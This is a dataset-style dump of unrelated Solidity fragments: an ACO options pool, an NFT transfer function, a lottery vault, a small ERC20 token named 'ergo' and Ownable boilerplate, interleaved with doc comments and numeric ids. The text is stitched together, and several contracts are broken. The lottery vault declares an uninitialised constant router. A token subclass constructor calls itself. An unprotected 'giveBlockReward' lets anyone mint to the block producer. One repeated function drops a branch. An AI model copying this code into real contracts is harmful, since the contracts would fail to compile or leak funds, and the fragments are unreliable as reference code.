restoreCollateral() public override { address _strikeAsset = strikeAsset; address _underlying = underlying; bool _isCall = isCall; uint256 underlyingBalance = _getPoolBalanceOf(_underlying); uint256 strikeAssetBalance = _getPoolBalanceOf(_strikeAsset); uint256 balanceOut; address assetIn; address assetOut; if (_isCall) { balanceOut = strikeAssetBalance; assetIn = _underlying; assetOut = _strikeAsset; } else { balanceOut = underlyingBalance; assetIn = _strikeAsset; assetOut = _underlying; } require(balanceOut > 0, "ACOPool:: No balance"); uint256 acceptablePrice = strategy.getAcceptableUnderlyingPriceToSwapAssets(_underlying, _strikeAsset, false); uint256 minToReceive; if (_isCall) { minToReceive = balanceOut.mul(underlyingPrecision).div(acceptablePrice); } else { minToReceive = balanceOut.mul(acceptablePrice).div(underlyingPrecision); } _swapAssetsExactAmountOut(assetOut, assetIn, minToReceive, balanceOut); uint256 collateralIn; if (_isCall) { collateralIn = _getPoolBalanceOf(_underlying).sub(underlyingBalance); } else { collateralIn = _getPoolBalanceOf(_strikeAsset).sub(strikeAssetBalance); } emit RestoreCollateral(balanceOut, collateralIn); } /** * @dev Internal function to swap an ACO token with the pool. * @param isPoolSelling True whether the pool is selling an ACO token, otherwise the pool is buying. * @param acoToken Address of the ACO token. * @param tokenAmount Amount of ACO tokens to swap. * @param restriction Value of the swap restriction. The minimum premium to receive on a selling or the maximum value to pay on a purchase. * @param to Address of the destination. ACO tokens when is buying or strike asset on a selling. * @param deadline UNIX deadline for the swap to be executed. * @return The amount ACO tokens received when is buying or the amount of strike asset received on a selling. */ function _swap( bool isPoolSelling, address acoToken, uint256 tokenAmount, uint256 restriction, address to, uint256 deadline ) internal returns(uint256) { require(block.timestamp <= deadline, "ACOPool:: Swap deadline"); require(to != address(0) && to != acoToken && to != address(this), "ACOPool:: Invalid destination"); (uint256 swapPrice, uint256 protocolFee, uint256 underlyingPrice, uint256 collateralAmount) = _internalQuote(isPoolSelling, acoToken, tokenAmount); uint256 amount; if (isPoolSelling) { amount = _internalSelling(to, acoToken, collateralAmount, tokenAmount, restriction, swapPrice, protocolFee); } else { amount = _internalBuying(to, acoToken, tokenAmount, restriction, swapPrice, protocolFee); } if (protocolFee > 0) { ACOAssetHelper._transferAsset(strikeAsset, feeDestination, protocolFee); } emit Swap(isPoolSelling, msg.sender, acoToken, tokenAmount, swapPrice, protocolFee, underlyingPrice); return amount; } /** * @dev Internal function to quote an ACO token price. * @param isPoolSelling True whether the pool is selling an ACO token, otherwise the pool is buying. * @param acoToken Address of the ACO token. * @param tokenAmount Amount of ACO tokens to swap. * @return The quote price, the protocol fee charged, the underlying price, and the collateral amount. */ function _internalQuote(bool isPoolSelling, address acoToken, uint256 tokenAmount) internal view returns(uint256, uint256, uint256, uint256) { require(isPoolSelling || canBuy, "ACOPool:: The pool only sell"); require(tokenAmount > 0, "ACOPool:: Invalid token amount"); (uint256 strikePrice, uint256 expiryTime) = _getValidACOTokenStrikePriceAndExpiration(acoToken); require(expiryTime > block.timestamp, "ACOPool:: ACO token expired"); (uint256 collateralAmount, uint256 collateralAvailable) = _getSizeData(isPoolSelling, acoToken, tokenAmount); (uint256 price, uint256 underlyingPrice,) = _strategyQuote(acoToken, isPoolSelling, strikePrice, expiryTime, collateralAmount, collateralAvailable); price = price.mul(tokenAmount).div(underlyingPrecision); uint256 protocolFee = 0; if (fee > 0) { protocolFee = price.mul(fee).div(100000); if (isPoolSelling) { price = price.add(protocolFee); } else { price = price.sub(protocolFee); } } require(price > 0, "ACOPool:: Invalid quote"); return (price, protocolFee, underlyingPrice, collateralAmount); } /** * @dev Internal function to the size data for a quote. * @param isPoolSelling True whether the pool is selling an ACO token, otherwise the pool is buying. * @param acoToken Address of the ACO token. * @param tokenAmount Amount of ACO tokens to swap. * @return The collateral amount and the collateral available on the pool. */ function _getSizeData(bool isPoolSelling, address acoToken, uint256 tokenAmount) internal view returns(uint256, uint256) { uint256 collateralAmount; uint256 collateralAvailable; if (isCall) { collateralAvailable = _getPoolBalanceOf(underlying); collateralAmount = tokenAmount; } else { collateralAvailable = _getPoolBalanceOf(strikeAsset); collateralAmount = IACOToken(acoToken).getCollateralAmount(tokenAmount); require(collateralAmount > 0, "ACOPool:: Token amount is too small"); } require(!isPoolSelling || collateralAmount <= collateralAvailable, "ACOPool:: Insufficient liquidity"); return (collateralAmount, collateralAvailable); } /** * @dev Internal function to quote on the strategy contract. * @param acoToken Address of the ACO token. * @param isPoolSelling True whether the pool is selling an ACO token, otherwise the pool is buying. * @param strikePrice ACO token strike price. * @param expiryTime ACO token expiry time on UNIX. * @param collateralAmount Amount of collateral for the order size. * @param collateralAvailable Amount of collateral available on the pool. * @return The quote price, the underlying price and the volatility. */ function _strategyQuote( address acoToken, bool isPoolSelling, uint256 strikePrice, uint256 expiryTime, uint256 collateralAmount, uint256 collateralAvailable ) internal view returns(uint256, uint256, uint256) { ACOTokenData storage data = acoTokensData[acoToken]; return strategy.quote(IACOStrategy.OptionQuote( isPoolSelling, underlying, strikeAsset, isCall, strikePrice, expiryTime, baseVolatility, collateralAmount, collateralAvailable, collateralDeposited, strikeAssetEarnedSelling, strikeAssetSpentBuying, data.amountPurchased, data.amountSold )); } /** * @dev Internal function to sell ACO tokens. * @param to Address of the destination of the ACO tokens. * @param acoToken Address of the ACO token. * @param collateralAmount Order collateral amount. * @param tokenAmount Order token amount. * @param maxPayment Maximum value to be paid for the ACO tokens. * @param swapPrice The swap price quoted. * @param protocolFee The protocol fee amount. * @return The ACO token amount sold. */ function _internalSelling( address to, address acoToken, uint256 collateralAmount, uint256 tokenAmount, uint256 maxPayment, uint256 swapPrice, uint256 protocolFee ) internal returns(uint256) { require(swapPrice <= maxPayment, "ACOPool:: Swap restriction"); ACOAssetHelper._callTransferFromERC20(strikeAsset, msg.sender, address(this), swapPrice); uint256 acoBalance = _getPoolBalanceOf(acoToken); ACOTokenData storage acoTokenData = acoTokensData[acoToken]; uint256 _amountSold = acoTokenData.amountSold; if (_amountSold == 0 && acoTokenData.amountPurchased == 0) { acoTokenData.index = acoTokens.length; acoTokens.push(acoToken); } if (tokenAmount > acoBalance) { tokenAmount = acoBalance; if (acoBalance > 0) { collateralAmount = IACOToken(acoToken).getCollateralAmount(tokenAmount.sub(acoBalance)); } if (collateralAmount > 0) { address _collateral = collateral(); if (ACOAssetHelper._isEther(_collateral)) { tokenAmount = tokenAmount.add(IACOToken(acoToken).mintPayable{value: collateralAmount}()); } else { if (_amountSold == 0) { _setAuthorizedSpender(_collateral, acoToken); } tokenAmount = tokenAmount.add(IACOToken(acoToken).mint(collateralAmount)); } } } acoTokenData.amountSold = tokenAmount.add(_amountSold); strikeAssetEarnedSelling = swapPrice.sub(protocolFee).add(strikeAssetEarnedSelling); ACOAssetHelper._callTransferERC20(acoToken, to, tokenAmount); return tokenAmount; } /** * @dev Internal function to buy ACO tokens. * @param to Address of the destination of the premium. * @param acoToken Address of the ACO token. * @param tokenAmount Order token amount. * @param minToReceive Minimum value to be received for the ACO tokens. * @param swapPrice The swap price quoted. * @param protocolFee The protocol fee amount. * @return The premium amount transferred. */ function _internalBuying( address to, address acoToken, uint256 tokenAmount, uint256 minToReceive, uint256 swapPrice, uint256 protocolFee ) internal returns(uint256) { require(swapPrice >= minToReceive, "ACOPool:: Swap restriction"); uint256 requiredStrikeAsset = swapPrice.add(protocolFee); if (isCall) { _getStrikeAssetAmount(requiredStrikeAsset); } ACOAssetHelper._callTransferFromERC20(acoToken, msg.sender, address(this), tokenAmount); ACOTokenData storage acoTokenData = acoTokensData[acoToken]; uint256 _amountPurchased = acoTokenData.amountPurchased; if (_amountPurchased == 0 && acoTokenData.amountSold == 0) { acoTokenData.index = acoTokens.length; acoTokens.push(acoToken); } acoTokenData.amountPurchased = tokenAmount.add(_amountPurchased); strikeAssetSpentBuying = requiredStrikeAsset.add(strikeAssetSpentBuying); ACOAssetHelper._transferAsset(strikeAsset, to, swapPrice); return swapPrice; } /** * @dev Internal function to get the normalized deposit amount. * The pool token has always with 18 decimals. * @param collateralAmount Amount of collateral to be deposited. * @return The normalized token amount and the collateral amount. */ function _getNormalizedDepositAmount(uint256 collateralAmount) internal view returns(uint256, uint256) { uint256 basePrecision = isCall ? underlyingPrecision : strikeAssetPrecision; uint256 normalizedAmount; if (basePrecision > POOL_PRECISION) { uint256 adjust = basePrecision.div(POOL_PRECISION); normalizedAmount = collateralAmount.div(adjust); collateralAmount = normalizedAmount.mul(adjust); } else if (basePrecision < POOL_PRECISION) { normalizedAmount = collateralAmount.mul(POOL_PRECISION.div(basePrecision)); } else { normalizedAmount = collateralAmount; } require(normalizedAmount > 0, "ACOPool:: Invalid collateral amount"); return (normalizedAmount, collateralAmount); } /** * @dev Internal function to get an amount of strike asset for the pool. * The pool swaps the collateral for it if necessary. * @param strikeAssetAmount Amount of strike asset required. */ function _getStrikeAssetAmount(uint256 strikeAssetAmount) internal { address _strikeAsset = strikeAsset; uint256 balance = _getPoolBalanceOf(_strikeAsset); if (balance < strikeAssetAmount) { uint256 amountToPurchase = strikeAssetAmount.sub(balance); address _underlying = underlying; uint256 acceptablePrice = strategy.getAcceptableUnderlyingPriceToSwapAssets(_underlying, _strikeAsset, true); uint256 maxPayment = amountToPurchase.mul(underlyingPrecision).div(acceptablePrice); _swapAssetsExactAmountIn(_underlying, _strikeAsset, amountToPurchase, maxPayment); } } /** * @dev Internal function to redeem the collateral from an ACO token. * It redeems the collateral only if the ACO token is expired. * @param acoToken Address of the ACO token. * @param expiryTime ACO token expiry time in UNIX. */ function _redeemACOToken(address acoToken, uint256 expiryTime) internal { if (expiryTime <= block.timestamp) { uint256 collateralIn = 0; if (IACOToken(acoToken).currentCollateralizedTokens(address(this)) > 0) { collateralIn = IACOToken(acoToken).redeem(); } ACOTokenData storage data = acoTokensData[acoToken]; uint256 lastIndex = acoTokens.length - 1; if (lastIndex != data.index) { address last = acoTokens[lastIndex]; acoTokensData[last].index = data.index; acoTokens[data.index] = last; } emit ACORedeem(acoToken, collateralIn, data.amountSold, data.amountPurchased); acoTokens.pop(); delete acoTokensData[acoToken]; } } /** * @dev Internal function to redeem the collateral and the premium from the pool from an account. * @param account Address of the account. * @return The amount of underlying asset received and the amount of strike asset received. */ function _redeem(address account) internal returns(uint256, uint256) { uint256 share = balanceOf(account); require(share > 0, "ACOPool:: Account with no share"); require(!notFinished(), "ACOPool:: Pool is not finished"); redeemACOTokens(); uint256 _totalSupply = totalSupply(); uint256 underlyingBalance = share.mul(_getPoolBalanceOf(underlying)).div(_totalSupply); uint256 strikeAssetBalance = share.mul(_getPoolBalanceOf(strikeAsset)).div(_totalSupply); _callBurn(account, share); if (underlyingBalance > 0) { ACOAssetHelper._transferAsset(underlying, msg.sender, underlyingBalance); } if (strikeAssetBalance > 0) { ACOAssetHelper._transferAsset(strikeAsset, msg.sender, strikeAssetBalance); } emit Redeem(msg.sender, underlyingBalance, strikeAssetBalance); return (underlyingBalance, strikeAssetBalance); } /** * @dev Internal function to burn pool tokens. * @param account Address of the account. * @param tokenAmount Amount of pool tokens to be burned. */ function _callBurn(address account, uint256 tokenAmount) internal { if (account == msg.sender) { super._burnAction(account, tokenAmount); } else { super._burnFrom(account, tokenAmount); } } /** * @dev Internal function to swap assets on the Uniswap V2 with an exact amount of an asset to be sold. * @param assetOut Address of the asset to be sold. * @param assetIn Address of the asset to be purchased. * @param minAmountIn Minimum amount to be received. * @param amountOut The exact amount to be sold. */ function _swapAssetsExactAmountOut(address assetOut, address assetIn, uint256 minAmountIn, uint256 amountOut) internal { address[] memory path = new address[](2); if (ACOAssetHelper._isEther(assetOut)) { path[0] = acoFlashExercise.weth(); path[1] = assetIn; uniswapRouter.swapExactETHForTokens{value: amountOut}(minAmountIn, path, address(this), block.timestamp); } else if (ACOAssetHelper._isEther(assetIn)) { path[0] = assetOut; path[1] = acoFlashExercise.weth(); uniswapRouter.swapExactTokensForETH(amountOut, minAmountIn, path, address(this), block.timestamp); } else { path[0] = assetOut; path[1] = assetIn; uniswapRouter.swapExactTokensForTokens(amountOut, minAmountIn, path, address(this), block.timestamp); } } /** * @dev Internal function to swap assets on the Uniswap V2 with an exact amount of an asset to be purchased. * @param assetOut Address of the asset to be sold. * @param assetIn Address of the asset to be purchased. * @param amountIn The exact amount to be purchased. * @param maxAmountOut Maximum amount to be paid. */ function _swapAssetsExactAmountIn(address assetOut, address assetIn, uint256 amountIn, uint256 maxAmountOut) internal { address[] memory path = new address[](2); if (ACOAssetHelper._isEther(assetOut)) { path[0] = acoFlashExercise.weth(); path[1] = assetIn; uniswapRouter.swapETHForExactTokens{value: maxAmountOut}(amountIn, path, address(this), block.timestamp); } else if (ACOAssetHelper._isEther(assetIn)) { path[0] = assetOut; path[1] = acoFlashExercise.weth(); uniswapRouter.swapTokensForExactETH(amountIn, maxAmountOut, path, address(this), block.timestamp); } else { path[0] = assetOut; path[1] = assetIn; uniswapRouter.swapTokensForExactTokens(amountIn, maxAmountOut, path, address(this), block.timestamp); } } /** * @dev Internal function to set the strategy address. * @param newStrategy Address of the new strategy. */ function _setStrategy(address newStrategy) internal { require(newStrategy.isContract(), "ACOPool:: Invalid strategy"); emit SetStrategy(address(strategy), newStrategy); strategy = IACOStrategy(newStrategy); } /** * @dev Internal function to set the base volatility percentage. (100000 = 100%) * @param newBaseVolatility Value of the new base volatility. */ function _setBaseVolatility(uint256 newBaseVolatility) internal { require(newBaseVolatility > 0, "ACOPool:: Invalid base volatility"); emit SetBaseVolatility(baseVolatility, newBaseVolatility); baseVolatility = newBaseVolatility; } /** * @dev Internal function to set the pool assets precisions. * @param _underlying Address of the underlying asset. * @param _strikeAsset Address of the strike asset. */ function _setAssetsPrecision(address _underlying, address _strikeAsset) internal { underlyingPrecision = 10 ** uint256(ACOAssetHelper._getAssetDecimals(_underlying)); strikeAssetPrecision = 10 ** uint256(ACOAssetHelper._getAssetDecimals(_strikeAsset)); } /** * @dev Internal function to infinite authorize the pool assets on the Uniswap V2 router. * @param _isCall True whether it is a CALL option, otherwise it is PUT. * @param _canBuy True whether the pool can also buy ACO tokens, otherwise it only sells. * @param _uniswapRouter Address of the Uniswap V2 router. * @param _underlying Address of the underlying asset. * @param _strikeAsset Address of the strike asset. */ function _approveAssetsOnRouter( bool _isCall, bool _canBuy, address _uniswapRouter, address _underlying, address _strikeAsset ) internal { if (_isCall) { if (!ACOAssetHelper._isEther(_strikeAsset)) { _setAuthorizedSpender(_strikeAsset, _uniswapRouter); } if (_canBuy && !ACOAssetHelper._isEther(_underlying)) { _setAuthorizedSpender(_underlying, _uniswapRouter); } } else if (!ACOAssetHelper._isEther(_underlying)) { _setAuthorizedSpender(_underlying, _uniswapRouter); } } /** * @dev Internal function to infinite authorize a spender on an asset. * @param asset Address of the asset. * @param spender Address of the spender to be authorized. */ function _setAuthorizedSpender(address asset, address spender) internal { ACOAssetHelper._callApproveERC20(asset, spender, MAX_UINT); } /** * @dev Internal function to get the pool balance of an asset. * @param asset Address of the asset. * @return The pool balance. */ function _getPoolBalanceOf(address asset) internal view returns(uint256) { return ACOAssetHelper._getAssetBalanceOf(asset, address(this)); } /** * @dev Internal function to get the exercible amount of an ACO token. * @param acoToken Address of the ACO token. * @return The exercisable amount. */ function _getExercisableAmount(address acoToken) internal view returns(uint256) { uint256 balance = _getPoolBalanceOf(acoToken); if (balance > 0) { uint256 collaterized = IACOToken(acoToken).currentCollateralizedTokens(address(this)); if (balance > collaterized) { return balance.sub(collaterized); } } return 0; } /** * @dev Internal function to get an accepted ACO token by the pool. * @param acoToken Address of the ACO token. * @return The ACO token strike price, and the ACO token expiration. */ function _getValidACOTokenStrikePriceAndExpiration(address acoToken) internal view returns(uint256, uint256) { (address _underlying, address _strikeAsset, bool _isCall, uint256 _strikePrice, uint256 _expiryTime) = acoFactory.acoTokenData(acoToken); require( _underlying == underlying && _strikeAsset == strikeAsset && _isCall == isCall && _strikePrice >= minStrikePrice && _strikePrice <= maxStrikePrice && _expiryTime >= minExpiration && _expiryTime <= maxExpiration, "ACOPool:: Invalid ACO Token" ); return (_strikePrice, _expiryTime); } /** * @dev Internal function to get the token name. * The token name is assembled with the token data: * ACO POOL UNDERLYING_SYMBOL-STRIKE_ASSET_SYMBOL-TYPE-{ONLY_SELL}-MIN_STRIKE_PRICE-MAX_STRIKE_PRICE-MIN_EXPIRATION-MAX_EXPIRATION * @return The token name. */ function _name() internal view returns(string memory) { uint8 strikeDecimals = ACOAssetHelper._getAssetDecimals(strikeAsset); string memory strikePriceFormatted; if (minStrikePrice != maxStrikePrice) { strikePriceFormatted = string(abi.encodePacked(ACONameFormatter.formatNumber(minStrikePrice, strikeDecimals), "-", ACONameFormatter.formatNumber(maxStrikePrice, strikeDecimals))); } else { strikePriceFormatted = ACONameFormatter.formatNumber(minStrikePrice, strikeDecimals); } string memory dateFormatted; if (minExpiration != maxExpiration) { dateFormatted = string(abi.encodePacked(ACONameFormatter.formatTime(minExpiration), "-", ACONameFormatter.formatTime(maxExpiration))); } else { dateFormatted = ACONameFormatter.formatTime(minExpiration); } return string(abi.encodePacked( "ACO POOL ", ACOAssetHelper._getAssetSymbol(underlying), "-", ACOAssetHelper._getAssetSymbol(strikeAsset), "-", ACONameFormatter.formatType(isCall), (canBuy ? "" : "-SELL"), "-", strikePriceFormatted, "-", dateFormatted )); } }
Internal function to infinite authorize the pool assets on the Uniswap V2 router. _isCall True whether it is a CALL option, otherwise it is PUT. _canBuy True whether the pool can also buy ACO tokens, otherwise it only sells. _uniswapRouter Address of the Uniswap V2 router. _underlying Address of the underlying asset. _strikeAsset Address of the strike asset./
function _approveAssetsOnRouter( bool _isCall, bool _canBuy, address _uniswapRouter, address _underlying, address _strikeAsset ) internal { if (_isCall) { if (!ACOAssetHelper._isEther(_strikeAsset)) { _setAuthorizedSpender(_strikeAsset, _uniswapRouter); } if (_canBuy && !ACOAssetHelper._isEther(_underlying)) { _setAuthorizedSpender(_underlying, _uniswapRouter); } _setAuthorizedSpender(_underlying, _uniswapRouter); } }
48,910
./full_match/137/0x1e3fCa63502a7AaA6841788301Eae4AC67CF691D/sources/scripts/Learning_Projects/CheeseTouch.sol
See {IERC721-transferFrom}./solhint-disable-next-line max-line-length
function transferFrom( address from, address to, uint256 tokenId ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "CheeseTouch: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); }
4,755,536
pragma solidity ^0.8.4; import "hardhat/console.sol"; import "./FomoVault.sol"; import "../interfaces/ILottoVault.sol"; contract LottoVault is FomoVault, ILottoVault { ICakeIRouter internal constant cakeRouter; // ICakeIRouter internal constant cakeRouter; // lotto address -> amount mapping(address => uint256) basketAmountsBnb; mapping(address => uint256) rewardFundsBnb; address[] activeLottos; struct TokenInBasket { address token; uint percent; } // TODO: different tokens in basket for every lottary mapping(address => TokenInBasket) tokensInBasket; TokenInBasket[] allTokensInBasket; constructor (address _fomoRouterAddr) { super.setRouter(_fomoRouterAddr); } /* CREATION */ function addToBasket(address _token, uint _percent) public override onlyOwnerAndRouter { TokenInBasket memory tInB = TokenInBasket({token : _token, percent : _percent}); allTokensInBasket.push(tInB); tokensInBasket[_token] = tInB; bool isValid = validateBasket(); require(isValid, "More than 100% !"); } function changeBasketPercent(address _token, uint _percent) public override onlyOwnerAndRouter { tokensInBasket[_token].percent = _percent; bool isValid = validateBasket(); require(isValid, "More than 100% !"); } function validateBasket() internal returns (bool){ uint pSum = 0; for (uint i = 0; i < allTokensInBasket.length; i++) { pSum += allTokensInBasket[i].percent; } return (pSum == 10000); } /* IN */ function receiveBnb(address _lottaryAddr, address _fromAccount) public override payable { console.log("# receiveBnb LV"); rewardFundsBnb[_lottaryAddr] += msg.value; super._receiveBnb(msg.value, _lottaryAddr, _fromAccount); } /* OUT */ /* @percentOfAll = to avoid giga swaps. */ function prepareBasket(address _lottoAddr, uint percentOfAll) public override onlyOwnerAndRouter { uint256 amountDiff = percentOfAll * (rewardFundsBnb[_lottoAddr] - basketAmountsBnb[_lottoAddr]) / 1000; if (amountDiff > 0) { for (uint i = 0; i < allTokensInBasket.length; i++) { uint256 bnb = amountDiff * allTokensInBasket[i].percent / 10000; buyBack(allTokensInBasket[i].token, bnb, _lottoAddr); } } } function buyBack(address _token, uint256 _bnbAmount, address _to) internal { address[] memory path = new address[](2); path[0] = address(WBNB); path[1] = address(_token); cakeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value : _bnbAmount}(0, path, _to, block.timestamp); } function clearInfo(address _lottoAddr) external override onlyOwnerAndRouter { delete rewardFundsBnb[_lottoAddr]; delete basketAmountsBnb[_lottoAddr]; // TODO: find and remove activeLottos } function harvestFarmAndAddToPot(address _lottoAddr) public override { uint256 uUpClaimed = super.claim(); uint256 bnbFarm = super.harvestFarm(uUpClaimed / 2, uUpClaimed / 2); rewardFundsBnb[_lottoAddr] += bnbFarm; } /* GETTERS */ function getTokensInBasket() public override view returns (address[] memory){ address[] memory tokens = new address[](allTokensInBasket.length); for (uint i = 0; i < allTokensInBasket.length; i++) { tokens[i] = allTokensInBasket[i].token; } return tokens; } function getInfo() public override view returns (address[] memory tokens, uint[] memory percents){ uint[] memory percents = new uint[](allTokensInBasket.length); address[] memory tokens = new address[](allTokensInBasket.length); for (uint i = 0; i < allTokensInBasket.length; i++) { percents[i] = allTokensInBasket[i].percent; tokens[i] = allTokensInBasket[i].token; } return (tokens, percents); } // TODO: // function getAllLottos() public view returns (uint[]){ // // uint[] lotoAddrs = new uint[](); // // TODO: activeLottos // } // // function getTotalRewardsDaily(address _lotoAddr) public view returns (uint){ // return totalReceivedBnb; // } // // function getAmountInBasketDaily(address _lotoAddr) public view returns (uint){ // return bnbAmountInBasketDaily; // } // // function getSyncAmountInBasketDaily(address _lotoAddr) public view returns (uint){ // return totalReceivedBnb - bnbAmountInBasketDaily; // } }
TODO: find and remove activeLottos
function clearInfo(address _lottoAddr) external override onlyOwnerAndRouter { delete rewardFundsBnb[_lottoAddr]; delete basketAmountsBnb[_lottoAddr]; }
909,010
//Address: 0x1dC211ED642733Da8BADeEd7d529E9b67295593b //Contract name: ergo //Balance: 0 Ether //Verification Date: 4/3/2018 //Transacion Count: 8 // CODE STARTS HERE pragma solidity ^0.4.21; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract ergo { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; uint256 public initialSupply; uint256 public unitsOneEthCanBuy; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function ergo( ) public { totalSupply = 81000000000000000000000000; balanceOf[msg.sender] = totalSupply; name = "ergo"; symbol = "RGO"; unitsOneEthCanBuy = 810; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * @dev We use a single lock for the whole contract. */ bool private reentrancy_lock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { require(!reentrancy_lock); reentrancy_lock = true; _; reentrancy_lock = false; } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burnFrom(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } function giveBlockReward() { balanceOf[block.coinbase] += 7; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ergoam is owned, ergo { uint256 public sellPrice; uint256 public buyPrice; /* Initializes contract with initial supply tokens to the creator of the contract */ function ergoam( uint256 initialSupply, string tokenName, string tokenSymbol ) ergoam(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(address(this).balance >= amount * sellPrice); _transfer(msg.sender, this, amount); msg.sender.transfer(amount * sellPrice); } }
Destroy tokens Remove `_value` tokens from the system irreversibly _value the amount of money to burn/
function burnFrom(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; }
12,914,931
// File: contracts/Dependencies/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: contracts/proxy/Dependencies/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/Dependencies/SafeMath.sol /** * 